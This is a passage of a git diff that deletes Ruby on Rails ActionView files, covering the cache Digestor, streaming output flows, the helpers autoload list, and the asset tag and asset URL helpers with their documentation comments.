- def self.digest(name, format, finder, options = {})
- cache.synchronize do
- unsafe_digest name, format, finder, options
- end
- end
-
- ###
- # This method is NOT thread safe. DO NOT CALL IT DIRECTLY, instead call
- # Digestor.digest
- def self.unsafe_digest(name, format, finder, options = {}) # :nodoc:
- key = "#{name}.#{format}"
-
- cache.fetch(key) do
- klass = options[:partial] || name.include?("/_") ? PartialDigestor : Digestor
- cache[key] = klass.new(name, format, finder).digest
- end
- end
-
- attr_reader :name, :format, :finder
-
- def initialize(name, format, finder)
- @name, @format, @finder = name, format, finder
- end
-
- def digest
- Digest::MD5.hexdigest("#{source}-#{dependency_digest}").tap do |digest|
- logger.try :info, "Cache digest for #{name}.#{format}: #{digest}"
- end
- rescue ActionView::MissingTemplate
- logger.try :error, "Couldn't find template for digesting: #{name}.#{format}"
- ''
- end
-
- def dependencies
- render_dependencies + explicit_dependencies
- rescue ActionView::MissingTemplate
- [] # File doesn't exist, so no dependencies
- end
-
- def nested_dependencies
- dependencies.collect do |dependency|
- dependencies = PartialDigestor.new(dependency, format, finder).nested_dependencies
- dependencies.any? ? { dependency => dependencies } : dependency
- end
- end
-
- private
-
- def logger
- ActionView::Base.logger
- end
-
- def logical_name
- name.gsub(%r|/_|, "/")
- end
-
- def directory
- name.split("/")[0..-2].join("/")
- end
-
- def partial?
- false
- end
-
- def source
- @source ||= finder.find(logical_name, [], partial?, formats: [ format ]).source
- end
-
- def dependency_digest
- dependencies.collect do |template_name|
- Digestor.unsafe_digest(template_name, format, finder, partial: true)
- end.join("-")
- end
-
- def render_dependencies
- source.scan(RENDER_DEPENDENCY).
- collect(&:second).uniq.
-
- # render(@topic) => render("topics/topic")
- # render(topics) => render("topics/topic")
- # render(message.topics) => render("topics/topic")
- collect { |name| name.sub(/\A@?([a-z]+\.)*([a-z_]+)\z/) { "#{$2.pluralize}/#{$2.singularize}" } }.
-
- # render("headline") => render("message/headline")
- collect { |name| name.include?("/") ? name : "#{directory}/#{name}" }.
-
- # replace quotes from string renders
- collect { |name| name.gsub(/["']/, "") }
- end
-
- def explicit_dependencies
- source.scan(EXPLICIT_DEPENDENCY).flatten.uniq
- end
- end
-
- class PartialDigestor < Digestor # :nodoc:
- def partial?
- true
- end
- end
-end
diff --git a/actionpack/lib/action_view/flows.rb b/actionpack/lib/action_view/flows.rb
deleted file mode 100644
index c0e458cd41..0000000000
--- a/actionpack/lib/action_view/flows.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-require 'active_support/core_ext/string/output_safety'
-
-module ActionView
- class OutputFlow #:nodoc:
- attr_reader :content
-
- def initialize
- @content = Hash.new { |h,k| h[k] = ActiveSupport::SafeBuffer.new }
- end
-
- # Called by _layout_for to read stored values.
- def get(key)
- @content[key]
- end
-
- # Called by each renderer object to set the layout contents.
- def set(key, value)
- @content[key] = value
- end
-
- # Called by content_for
- def append(key, value)
- @content[key] << value
- end
- alias_method :append!, :append
-
- end
-
- class StreamingFlow < OutputFlow #:nodoc:
- def initialize(view, fiber)
- @view = view
- @parent = nil
- @child = view.output_buffer
- @content = view.view_flow.content
- @fiber = fiber
- @root = Fiber.current.object_id
- end
-
- # Try to get an stored content. If the content
- # is not available and we are inside the layout
- # fiber, we set that we are waiting for the given
- # key and yield.
- def get(key)
- return super if @content.key?(key)
-
- if inside_fiber?
- view = @view
-
- begin
- @waiting_for = key
- view.output_buffer, @parent = @child, view.output_buffer
- Fiber.yield
- ensure
- @waiting_for = nil
- view.output_buffer, @child = @parent, view.output_buffer
- end
- end
-
- super
- end
-
- # Appends the contents for the given key. This is called
- # by provides and resumes back to the fiber if it is
- # the key it is waiting for.
- def append!(key, value)
- super
- @fiber.resume if @waiting_for == key
- end
-
- private
-
- def inside_fiber?
- Fiber.current.object_id != @root
- end
- end
-end \ No newline at end of file
diff --git a/actionpack/lib/action_view/helpers.rb b/actionpack/lib/action_view/helpers.rb
deleted file mode 100644
index 269e78a021..0000000000
--- a/actionpack/lib/action_view/helpers.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-module ActionView #:nodoc:
- module Helpers #:nodoc:
- extend ActiveSupport::Autoload
-
- autoload :ActiveModelHelper
- autoload :AssetTagHelper
- autoload :AssetUrlHelper
- autoload :AtomFeedHelper
- autoload :BenchmarkHelper
- autoload :CacheHelper
- autoload :CaptureHelper
- autoload :ControllerHelper
- autoload :CsrfHelper
- autoload :DateHelper
- autoload :DebugHelper
- autoload :FormHelper
- autoload :FormOptionsHelper
- autoload :FormTagHelper
- autoload :JavaScriptHelper, "action_view/helpers/javascript_helper"
- autoload :NumberHelper
- autoload :OutputSafetyHelper
- autoload :RecordTagHelper
- autoload :RenderingHelper
- autoload :SanitizeHelper
- autoload :TagHelper
- autoload :TextHelper
- autoload :TranslationHelper
- autoload :UrlHelper
-
- extend ActiveSupport::Concern
-
- include ActiveModelHelper
- include AssetTagHelper
- include AssetUrlHelper
- include AtomFeedHelper
- include BenchmarkHelper
- include CacheHelper
- include CaptureHelper
- include ControllerHelper
- include CsrfHelper
- include DateHelper
- include DebugHelper
- include FormHelper
- include FormOptionsHelper
- include FormTagHelper
- include JavaScriptHelper
- include NumberHelper
- include OutputSafetyHelper
- include RecordTagHelper
- include RenderingHelper
- include SanitizeHelper
- include TagHelper
- include TextHelper
- include TranslationHelper
- include UrlHelper
- end
-end
diff --git a/actionpack/lib/action_view/helpers/active_model_helper.rb b/actionpack/lib/action_view/helpers/active_model_helper.rb
deleted file mode 100644
index 901f433c70..0000000000
--- a/actionpack/lib/action_view/helpers/active_model_helper.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-require 'active_support/core_ext/class/attribute_accessors'
-require 'active_support/core_ext/enumerable'
-
-module ActionView
- # = Active Model Helpers
- module Helpers
- module ActiveModelHelper
- end
-
- module ActiveModelInstanceTag
- def object
- @active_model_object ||= begin
- object = super
- object.respond_to?(:to_model) ? object.to_model : object
- end
- end
-
- def content_tag(*)
- error_wrapping(super)
- end
-
- def tag(type, options, *)
- tag_generate_errors?(options) ? error_wrapping(super) : super
- end
-
- def error_wrapping(html_tag)
- if object_has_errors?
- Base.field_error_proc.call(html_tag, self)
- else
- html_tag
- end
- end
-
- def error_message
- object.errors[@method_name]
- end
-
- private
-
- def object_has_errors?
- object.respond_to?(:errors) && object.errors.respond_to?(:[]) && error_message.present?
- end
-
- def tag_generate_errors?(options)
- options['type'] != 'hidden'
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/asset_tag_helper.rb b/actionpack/lib/action_view/helpers/asset_tag_helper.rb
deleted file mode 100644
index cf2a117966..0000000000
--- a/actionpack/lib/action_view/helpers/asset_tag_helper.rb
+++ /dev/null
@@ -1,295 +0,0 @@
-require 'active_support/core_ext/array/extract_options'
-require 'active_support/core_ext/hash/keys'
-require 'action_view/helpers/asset_url_helper'
-require 'action_view/helpers/tag_helper'
-
-module ActionView
- # = Action View Asset Tag Helpers
- module Helpers #:nodoc:
- # This module provides methods for generating HTML that links views to assets such
- # as images, javascripts, stylesheets, and feeds. These methods do not verify
- # the assets exist before linking to them:
- #
- # image_tag("rails.png")
- # # => <img alt="Rails" src="/assets/rails.png" />
- # stylesheet_link_tag("application")
- # # => <link href="/assets/application.css?body=1" media="screen" rel="stylesheet" />
- #
- module AssetTagHelper
- extend ActiveSupport::Concern
-
- include AssetUrlHelper
- include TagHelper
-
- # Returns an HTML script tag for each of the +sources+ provided.
- #
- # Sources may be paths to JavaScript files. Relative paths are assumed to be relative
- # to <tt>assets/javascripts</tt>, full paths are assumed to be relative to the document
- # root. Relative paths are idiomatic, use absolute paths only when needed.
- #
- # When passing paths, the ".js" extension is optional.
- #
- # You can modify the HTML attributes of the script tag by passing a hash as the
- # last argument.
- #
- # When the Asset Pipeline is enabled, you can pass the name of your manifest as
- # source, and include other JavaScript or CoffeeScript files inside the manifest.
- #
- # javascript_include_tag "xmlhr"
- # # => <script src="/assets/xmlhr.js?1284139606"></script>
- #
- # javascript_include_tag "xmlhr.js"
- # # => <script src="/assets/xmlhr.js?1284139606"></script>
- #
- # javascript_include_tag "common.javascript", "/elsewhere/cools"
- # # => <script src="/assets/common.javascript?1284139606"></script>
- # # <script src="/elsewhere/cools.js?1423139606"></script>
- #
- # javascript_include_tag "http://www.example.com/xmlhr"
- # # => <script src="http://www.example.com/xmlhr"></script>
- #
- # javascript_include_tag "http://www.example.com/xmlhr.js"
- # # => <script src="http://www.example.com/xmlhr.js"></script>
- #
- def javascript_include_tag(*sources)
- options = sources.extract_options!.stringify_keys
- sources.uniq.map { |source|
- tag_options = {
- "src" => path_to_javascript(source)
- }.merge(options)
- content_tag(:script, "", tag_options)
- }.join("\n").html_safe
- end
-
- # Returns a stylesheet link tag for the sources specified as arguments. If
- # you don't specify an extension, <tt>.css</tt> will be appended automatically.
- # You can modify the link attributes by passing a hash as the last argument.
- # For historical reasons, the 'media' attribute will always be present and defaults
- # to "screen", so you must explicitely set it to "all" for the stylesheet(s) to
- # apply to all media types.
- #
- # stylesheet_link_tag "style"
- # # => <link href="/assets/style.css" media="screen" rel="stylesheet" />
- #
- # stylesheet_link_tag "style.css"
- # # => <link href="/assets/style.css" media="screen" rel="stylesheet" />
- #
- # stylesheet_link_tag "http://www.example.com/style.css"
- # # => <link href="http://www.example.com/style.css" media="screen" rel="stylesheet" />
- #
- # stylesheet_link_tag "style", media: "all"
- # # => <link href="/assets/style.css" media="all" rel="stylesheet" />
- #
- # stylesheet_link_tag "style", media: "print"
- # # => <link href="/assets/style.css" media="print" rel="stylesheet" />
- #
- # stylesheet_link_tag "random.styles", "/css/stylish"
- # # => <link href="/assets/random.styles" media="screen" rel="stylesheet" />
- # # <link href="/css/stylish.css" media="screen" rel="stylesheet" />
- #
- def stylesheet_link_tag(*sources)
- options = sources.extract_options!.stringify_keys
- sources.uniq.map { |source|
- tag_options = {
- "rel" => "stylesheet",
- "media" => "screen",
- "href" => path_to_stylesheet(source)
- }.merge(options)
- tag(:link, tag_options)
- }.join("\n").html_safe
- end
-
- # Returns a link tag that browsers and news readers can use to auto-detect
- # an RSS or Atom feed. The +type+ can either be <tt>:rss</tt> (default) or
- # <tt>:atom</tt>. Control the link options in url_for format using the
- # +url_options+. You can modify the LINK tag itself in +tag_options+.
- #
- # ==== Options
- # * <tt>:rel</tt> - Specify the relation of this link, defaults to "alternate"
- # * <tt>:type</tt> - Override the auto-generated mime type
- # * <tt>:title</tt> - Specify the title of the link, defaults to the +type+
- #
- # auto_discovery_link_tag
- # # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/action" />
- # auto_discovery_link_tag(:atom)
- # # => <link rel="alternate" type="application/atom+xml" title="ATOM" href="http://www.currenthost.com/controller/action" />
- # auto_discovery_link_tag(:rss, {action: "feed"})
- # # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/feed" />
- # auto_discovery_link_tag(:rss, {action: "feed"}, {title: "My RSS"})
- # # => <link rel="alternate" type="application/rss+xml" title="My RSS" href="http://www.currenthost.com/controller/feed" />
- # auto_discovery_link_tag(:rss, {controller: "news", action: "feed"})
- # # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/news/feed" />
- # auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "Example RSS"})
- # # => <link rel="alternate" type="application/rss+xml" title="Example RSS" href="http://www.example.com/feed" />
- def auto_discovery_link_tag(type = :rss, url_options = {}, tag_options = {})
- if !(type == :rss || type == :atom) && tag_options[:type].blank?
- message = "You have passed type other than :rss or :atom to auto_discovery_link_tag and haven't supplied " +
- "the :type option key. This behavior is deprecated and will be remove in Rails 4.1. You should pass " +
- ":type option explicitly if you want to use other types, for example: " +
- "auto_discovery_link_tag(:xml, '/feed.xml', :type => 'application/xml')"
- ActiveSupport::Deprecation.warn message
- end
-
- tag(
- "link",
- "rel" => tag_options[:rel] || "alternate",
- "type" => tag_options[:type] || Mime::Type.lookup_by_extension(type.to_s).to_s,
- "title" => tag_options[:title] || type.to_s.upcase,
- "href" => url_options.is_a?(Hash) ? url_for(url_options.merge(:only_path => false)) : url_options
- )
- end
-
- # Returns a link loading a favicon file. You may specify a different file
- # in the first argument. The helper accepts an additional options hash where
- # you can override "rel" and "type".
- #
- # ==== Options
- # * <tt>:rel</tt> - Specify the relation of this link, defaults to 'shortcut icon'
- # * <tt>:type</tt> - Override the auto-generated mime type, defaults to 'image/vnd.microsoft.icon'
- #
- # favicon_link_tag '/myicon.ico'
- # # => <link href="/assets/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />
- #
- # Mobile Safari looks for a different <link> tag, pointing to an image that
- # will be used if you add the page to the home screen of an iPod Touch, iPhone, or iPad.
- # The following call would generate such a tag:
- #
- # favicon_link_tag '/mb-icon.png', rel: 'apple-touch-icon', type: 'image/png'
- # # => <link href="/assets/mb-icon.png" rel="apple-touch-icon" type="image/png" />
- #
- def favicon_link_tag(source='favicon.ico', options={})
- tag('link', {
- :rel => 'shortcut icon',
- :type => 'image/vnd.microsoft.icon',
- :href => path_to_image(source)
- }.merge(options.symbolize_keys))
- end
-
- # Returns an HTML image tag for the +source+. The +source+ can be a full
- # path or a file.
- #
- # ==== Options
- # You can add HTML attributes using the +options+. The +options+ supports
- # three additional keys for convenience and conformance:
- #
- # * <tt>:alt</tt> - If no alt text is given, the file name part of the
- # +source+ is used (capitalized and without the extension)
- # * <tt>:size</tt> - Supplied as "{Width}x{Height}" or "{Number}", so "30x45" becomes
- # width="30" and height="45", and "50" becomes width="50" and height="50".
- # <tt>:size</tt> will be ignored if the value is not in the correct format.
- #
- # image_tag("icon")
- # # => <img alt="Icon" src="/assets/icon" />
- # image_tag("icon.png")
- # # => <img alt="Icon" src="/assets/icon.png" />
- # image_tag("icon.png", size: "16x10", alt: "Edit Entry")
- # # => <img src="/assets/icon.png" width="16" height="10" alt="Edit Entry" />
- # image_tag("/icons/icon.gif", size: "16")
- # # => <img src="/icons/icon.gif" width="16" height="16" alt="Icon" />
- # image_tag("/icons/icon.gif", height: '32', width: '32')
- # # => <img alt="Icon" height="32" src="/icons/icon.gif" width="32" />
- # image_tag("/icons/icon.gif", class: "menu_icon")
- # # => <img alt="Icon" class="menu_icon" src="/icons/icon.gif" />
- def image_tag(source, options={})
- options = options.symbolize_keys
-
- src = options[:src] = path_to_image(source)
-
- unless src =~ /^(?:cid|data):/ || src.blank?
- options[:alt] = options.fetch(:alt){ image_alt(src) }
- end
-
- if size = options.delete(:size)
- options[:width], options[:height] = size.split("x") if size =~ %r{\A\d+x\d+\z}
- options[:width] = options[:height] = size if size =~ %r{\A\d+\z}
- end
-
- tag("img", options)
- end
-
- # Returns a string suitable for an html image tag alt attribute.
- # +src+ is meant to be an image file path.
- # It removes the basename of the file path and the digest, if any.
- def image_alt(src)
- File.basename(src, '.*').sub(/-[[:xdigit:]]{32}\z/, '').capitalize
- end
-
- # Returns an html video tag for the +sources+. If +sources+ is a string,
- # a single video tag will be returned. If +sources+ is an array, a video
- # tag with nested source tags for each source will be returned. The
- # +sources+ can be full paths or files that exists in your public videos
- # directory.
- #
- # ==== Options
- # You can add HTML attributes using the +options+. The +options+ supports
- # two additional keys for convenience and conformance:
- #
- # * <tt>:poster</tt> - Set an image (like a screenshot) to be shown
- # before the video loads. The path is calculated like the +src+ of +image_tag+.
- # * <tt>:size</tt> - Supplied as "{Width}x{Height}", so "30x45" becomes
- # width="30" and height="45". <tt>:size</tt> will be ignored if the
- # value is not in the correct format.
- #
- # video_tag("trailer")
- # # => <video src="/videos/trailer" />
- # video_tag("trailer.ogg")
- # # => <video src="/videos/trailer.ogg" />
- # video_tag("trailer.ogg", controls: true, autobuffer: true)
- # # => <video autobuffer="autobuffer" controls="controls" src="/videos/trailer.ogg" />
- # video_tag("trailer.m4v", size: "16x10", poster: "screenshot.png")
- # # => <video src="/videos/trailer.m4v" width="16" height="10" poster="/assets/screenshot.png" />
- # video_tag("/trailers/hd.avi", size: "16x16")
- # # => <video src="/trailers/hd.avi" width="16" height="16" />
- # video_tag("/trailers/hd.avi", height: '32', width: '32')
- # # => <video height="32" src="/trailers/hd.avi" width="32" />
- # video_tag("trailer.ogg", "trailer.flv")
- # # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
- # video_tag(["trailer.ogg", "trailer.flv"])
- # # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
- # video_tag(["trailer.ogg", "trailer.flv"], size: "160x120")
- # # => <video height="120" width="160"><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
- def video_tag(*sources)
- multiple_sources_tag('video', sources) do |options|
- options[:poster] = path_to_image(options[:poster]) if options[:poster]
-
- if size = options.delete(:size)
- options[:width], options[:height] = size.split("x") if size =~ %r{^\d+x\d+$}
- end
- end
- end
-
- # Returns an HTML audio tag for the +source+.
- # The +source+ can be full path or file that exists in
- # your public audios directory.
- #
- # audio_tag("sound")
- # # => <audio src="/audios/sound" />
- # audio_tag("sound.wav")
- # # => <audio src="/audios/sound.wav" />
- # audio_tag("sound.wav", autoplay: true, controls: true)
- # # => <audio autoplay="autoplay" controls="controls" src="/audios/sound.wav" />
- # audio_tag("sound.wav", "sound.mid")
- # # => <audio><source src="/audios/sound.wav" /><source src="/audios/sound.mid" /></audio>
- def audio_tag(*sources)
- multiple_sources_tag('audio', sources)
- end
-
- private
- def multiple_sources_tag(type, sources)
- options = sources.extract_options!.symbolize_keys
- sources.flatten!
-
- yield options if block_given?
-
- if sources.size > 1
- content_tag(type, options) do
- safe_join sources.map { |source| tag("source", :src => send("path_to_#{type}", source)) }
- end
- else
- options[:src] = send("path_to_#{type}", sources.first)
- content_tag(type, nil, options)
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/asset_url_helper.rb b/actionpack/lib/action_view/helpers/asset_url_helper.rb
deleted file mode 100644
index 0affac41e8..0000000000
--- a/actionpack/lib/action_view/helpers/asset_url_helper.rb
+++ /dev/null
@@ -1,355 +0,0 @@
-require 'zlib'
-
-module ActionView
- # = Action View Asset URL Helpers
- module Helpers
- # This module provides methods for generating asset paths and
- # urls.
- #
- # image_path("rails.png")
- # # => "/assets/rails.png"
- #
- # image_url("rails.png")
- # # => "http://www.example.com/assets/rails.png"
- #
- # === Using asset hosts
- #
- # By default, Rails links to these assets on the current host in the public
- # folder, but you can direct Rails to link to assets from a dedicated asset
- # server by setting <tt>ActionController::Base.asset_host</tt> in the application
- # configuration, typically in <tt>config/environments/production.rb</tt>.
- # For example, you'd define <tt>assets.example.com</tt> to be your asset
- # host this way, inside the <tt>configure</tt> block of your environment-specific
- # configuration files or <tt>config/application.rb</tt>:
- #
- # config.action_controller.asset_host = "assets.example.com"
- #
- # Helpers take that into account:
- #
- # image_tag("rails.png")
- # # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
- # stylesheet_link_tag("application")
- # # => <link href="http://assets.example.com/assets/application.css" media="screen" rel="stylesheet" />
- #
- # Browsers typically open at most two simultaneous connections to a single
- # host, which means your assets often have to wait for other assets to finish
- # downloading. You can alleviate this by using a <tt>%d</tt> wildcard in the
- # +asset_host+. For example, "assets%d.example.com". If that wildcard is
- # present Rails distributes asset requests among the corresponding four hosts
- # "assets0.example.com", ..., "assets3.example.com". With this trick browsers
- # will open eight simultaneous connections rather than two.
- #
- # image_tag("rails.png")
- # # => <img alt="Rails" src="http://assets0.example.com/assets/rails.png" />
- # stylesheet_link_tag("application")
- # # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
- #
- # To do this, you can either setup four actual hosts, or you can use wildcard
- # DNS to CNAME the wildcard to a single asset host. You can read more about
- # setting up your DNS CNAME records from your ISP.
- #
- # Note: This is purely a browser performance optimization and is not meant
- # for server load balancing. See http://www.die.net/musings/page_load_time/
- # for background.
- #
- # Alternatively, you can exert more control over the asset host by setting
- # +asset_host+ to a proc like this:
- #
- # ActionController::Base.asset_host = Proc.new { |source|
- # "http://assets#{Digest::MD5.hexdigest(source).to_i(16) % 2 + 1}.example.com"
- # }
- # image_tag("rails.png")
- # # => <img alt="Rails" src="http://assets1.example.com/assets/rails.png" />
- # stylesheet_link_tag("application")
- # # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
- #
- # The example above generates "http://assets1.example.com" and
- # "http://assets2.example.com". This option is useful for example if
- # you need fewer/more than four hosts, custom host names, etc.
- #
- # As you see the proc takes a +source+ parameter. That's a string with the
- # absolute path of the asset, for example "/assets/rails.png".
- #
- # ActionController::Base.asset_host = Proc.new { |source|
- # if source.ends_with?('.css')
- # "http://stylesheets.example.com"
- # else
- # "http://assets.example.com"
- # end
- # }
- # image_tag("rails.png")
- # # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
- # stylesheet_link_tag("application")
- # # => <link href="http://stylesheets.example.com/assets/application.css" media="screen" rel="stylesheet" />
- #
- # Alternatively you may ask for a second parameter +request+. That one is
- # particularly useful for serving assets from an SSL-protected page. The
- # example proc below disables asset hosting for HTTPS connections, while
- # still sending assets for plain HTTP requests from asset hosts. If you don't
- # have SSL certificates for each of the asset hosts this technique allows you
- # to avoid warnings in the client about mixed media.
- #
- # config.action_controller.asset_host = Proc.new { |source, request|
- # if request.ssl?
- # "#{request.protocol}#{request.host_with_port}"
- # else
- # "#{request.protocol}assets.example.com"
- # end
- # }
- #
- # You can also implement a custom asset host object that responds to +call+
- # and takes either one or two parameters just like the proc.
- #
- # config.action_controller.asset_host = AssetHostingWithMinimumSsl.new(
- # "http://asset%d.example.com", "https://asset1.example.com"
- # )
- #
- module AssetUrlHelper
- URI_REGEXP = %r{^[-a-z]+://|^(?:cid|data):|^//}
-
- # Computes the path to asset in public directory. If :type
- # options is set, a file extension will be appended and scoped
- # to the corresponding public directory.
- #
- # All other asset *_path helpers delegate through this method.
- #
- # asset_path "application.js" # => /application.js
- # asset_path "application", type: :javascript # => /javascripts/application.js
- # asset_path "application", type: :stylesheet # => /stylesheets/application.css
- # asset_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js
- def asset_path(source, options = {})
- source = source.to_s
- return "" unless source.present?
- return source if source =~ URI_REGEXP
-
- tail, source = source[/([\?#].+)$/], source.sub(/([\?#].+)$/, '')
-
- if extname = compute_asset_extname(source, options)
- source = "#{source}#{extname}"
- end
-
- if source[0] != ?/
- source = compute_asset_path(source, options)
- end
-
- relative_url_root = (defined?(config.relative_url_root) && config.relative_url_root) ||
- (respond_to?(:request) && request.try(:script_name))
- if relative_url_root
- source = "#{relative_url_root}#{source}" unless source.starts_with?("#{relative_url_root}/")
- end
-
- if host = compute_asset_host(source, options)
- source = "#{host}#{source}"
- end
-
- "#{source}#{tail}"
- end
- alias_method :path_to_asset, :asset_path # aliased to avoid conflicts with a asset_path named route
-
- # Computes the full URL to a asset in the public directory. This
- # will use +asset_path+ internally, so most of their behaviors
- # will be the same.
- def asset_url(source, options = {})
- path_to_asset(source, options.merge(:protocol => :request))
- end
- alias_method :url_to_asset, :asset_url # aliased to avoid conflicts with an asset_url named route
-
- ASSET_EXTENSIONS = {
- javascript: '.js',
- stylesheet: '.css'
- }
-
- # Compute extname to append to asset path. Returns nil if
- # nothing should be added.
- def compute_asset_extname(source, options = {})
- return if options[:extname] == false
- extname = options[:extname] || ASSET_EXTENSIONS[options[:type]]
- extname if extname && File.extname(source) != extname
- end
-
- # Maps asset types to public directory.
- ASSET_PUBLIC_DIRECTORIES = {
- audio: '/audios',
- font: '/fonts',
- image: '/images',
- javascript: '/javascripts',
- stylesheet: '/stylesheets',
- video: '/videos'
- }
-
- # Computes asset path to public directory. Plugins and
- # extensions can override this method to point to custom assets
- # or generate digested paths or query strings.
- def compute_asset_path(source, options = {})
- dir = ASSET_PUBLIC_DIRECTORIES[options[:type]] || ""
- File.join(dir, source)
- end
-
- # Pick an asset host for this source. Returns +nil+ if no host is set,
- # the host if no wildcard is set, the host interpolated with the
- # numbers 0-3 if it contains <tt>%d</tt> (the number is the source hash mod 4),
- # or the value returned from invoking call on an object responding to call
- # (proc or otherwise).
- def compute_asset_host(source = "", options = {})
- request = self.request if respond_to?(:request)
- host = config.asset_host if defined? config.asset_host
- host ||= request.base_url if request && options[:protocol] == :request
- return unless host
-
- if host.respond_to?(:call)
- arity = host.respond_to?(:arity) ? host.arity : host.method(:call).arity
- args = [source]
- args << request if request && (arity > 1 || arity < 0)
- host = host.call(*args)
- elsif host =~ /%d/
- host = host % (Zlib.crc32(source) % 4)
- end
-
- if host =~ URI_REGEXP
- host
- else
- protocol = options[:protocol] || config.default_asset_host_protocol || (request ? :request : :relative)
- case protocol
- when :relative
- "//#{host}"
- when :request
- "#{request.protocol}#{host}"
- else
- "#{protocol}://#{host}"
- end
- end
- end
-
- # Computes the path to a javascript asset in the public javascripts directory.
- # If the +source+ filename has no extension, .js will be appended (except for explicit URIs)
- # Full paths from the document root will be passed through.
- # Used internally by javascript_include_tag to build the script path.
- #
- # javascript_path "xmlhr" # => /javascripts/xmlhr.js
- # javascript_path "dir/xmlhr.js" # => /javascripts/dir/xmlhr.js
- # javascript_path "/dir/xmlhr" # => /dir/xmlhr.js
- # javascript_path "http://www.example.com/js/xmlhr" # => http://www.example.com/js/xmlhr
- # javascript_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js
- def javascript_path(source, options = {})
- path_to_asset(source, {type: :javascript}.merge!(options))
- end
- alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with a javascript_path named route
-
- # Computes the full URL to a javascript asset in the public javascripts directory.
- # This will use +javascript_path+ internally, so most of their behaviors will be the same.
- def javascript_url(source, options = {})
- url_to_asset(source, {type: :javascript}.merge!(options))
- end
- alias_method :url_to_javascript, :javascript_url # aliased to avoid conflicts with a javascript_url named route
-
- # Computes the path to a stylesheet asset in the public stylesheets directory.
- # If the +source+ filename has no extension, <tt>.css</tt> will be appended (except for explicit URIs).
- # Full paths from the document root will be passed through.
- # Used internally by +stylesheet_link_tag+ to build the stylesheet path.
- #
- # stylesheet_path "style" # => /stylesheets/style.css
- # stylesheet_path "dir/style.css" # => /stylesheets/dir/style.css
- # stylesheet_path "/dir/style.css" # => /dir/style.css
- # stylesheet_path "http://www.example.com/css/style" # => http://www.example.com/css/style
- # stylesheet_path "http://www.example.com/css/style.css" # => http://www.example.com/css/style.css
- def stylesheet_path(source, options = {})
- path_to_asset(source, {type: :stylesheet}.merge!(options))
- end
- alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with a stylesheet_path named route
-
- # Computes the full URL to a stylesheet asset in the public stylesheets directory.
- # This will use +stylesheet_path+ internally, so most of their behaviors will be the same.
- def stylesheet_url(source, options = {})
- url_to_asset(source, {type: :stylesheet}.merge!(options))
- end
- alias_method :url_to_stylesheet, :stylesheet_url # aliased to avoid conflicts with a stylesheet_url named route
-
- # Computes the path to an image asset.
- # Full paths from the document root will be passed through.
- # Used internally by +image_tag+ to build the image path:
- #
- # image_path("edit") # => "/assets/edit"
- # image_path("edit.png") # => "/assets/edit.png"
- # image_path("icons/edit.png") # => "/assets/icons/edit.png"
- # image_path("/icons/edit.png") # => "/icons/edit.png"
- # image_path("http://www.example.com/img/edit.png") # => "http://www.example.com/img/edit.png"
- #
- # If you have images as application resources this method may conflict with their named routes.
- # The alias +path_to_image+ is provided to avoid that. Rails uses the alias internally, and
- # plugin authors are encouraged to do so.
- def image_path(source, options = {})
- path_to_asset(source, {type: :image}.merge!(options))
- end
- alias_method :path_to_image, :image_path # aliased to avoid conflicts with an image_path named route
-
- # Computes the full URL to an image asset.
- # This will use +image_path+ internally, so most of their behaviors will be the same.
- def image_url(source, options = {})
- url_to_asset(source, {type: :image}.merge!(options))
- end
- alias_method :url_to_image, :image_url # aliased to avoid conflicts with an image_url named route
-
- # Computes the path to a video asset in the public videos directory.
- # Full paths from the document root will be passed through.
- # Used internally by +video_tag+ to build the video path.
- #
- # video_path("hd") # => /videos/hd
- # video_path("hd.avi") # => /videos/hd.avi
- # video_path("trailers/hd.avi") # => /videos/trailers/hd.avi
- # video_path("/trailers/hd.avi") # => /trailers/hd.avi
- # video_path("http://www.example.com/vid/hd.avi") # => http://www.example.com/vid/hd.avi
- def video_path(source, options = {})
- path_to_asset(source, {type: :video}.merge!(options))
- end
- alias_method :path_to_video, :video_path # aliased to avoid conflicts with a video_path named route
-
- # Computes the full URL to a video asset in the public videos directory.
- # This will use +video_path+ internally, so most of their behaviors will be the same.
- def video_url(source, options = {})
- url_to_asset(source, {type: :video}.merge!(options))
- end
- alias_method :url_to_video, :video_url # aliased to avoid conflicts with an video_url named route
-
- # Computes the path to an audio asset in the public audios directory.
- # Full paths from the document root will be passed through.
- # Used internally by +audio_tag+ to build the audio path.
- #
- # audio_path("horse") # => /audios/horse
- # audio_path("horse.wav") # => /audios/horse.wav
- # audio_path("sounds/horse.wav") # => /audios/sounds/horse.wav
- # audio_path("/sounds/horse.wav") # => /sounds/horse.wav
- # audio_path("http://www.example.com/sounds/horse.wav") # => http://www.example.com/sounds/horse.wav
- def audio_path(source, options = {})
- path_to_asset(source, {type: :audio}.merge!(options))
- end
- alias_method :path_to_audio, :audio_path # aliased to avoid conflicts with an audio_path named route
-
- # Computes the full URL to an audio asset in the public audios directory.
- # This will use +audio_path+ internally, so most of their behaviors will be the same.
- def audio_url(source, options = {})
- url_to_asset(source, {type: :audio}.merge!(options))
- end
- alias_method :url_to_audio, :audio_url # aliased to avoid conflicts with an audio_url named route
-
- # Computes the path to a font asset.
- # Full paths from the document root will be passed through.
- #
- # font_path("font") # => /assets/font
- # font_path("font.ttf") # => /assets/font.ttf
- # font_path("dir/font.ttf") # => /assets/dir/font.ttf
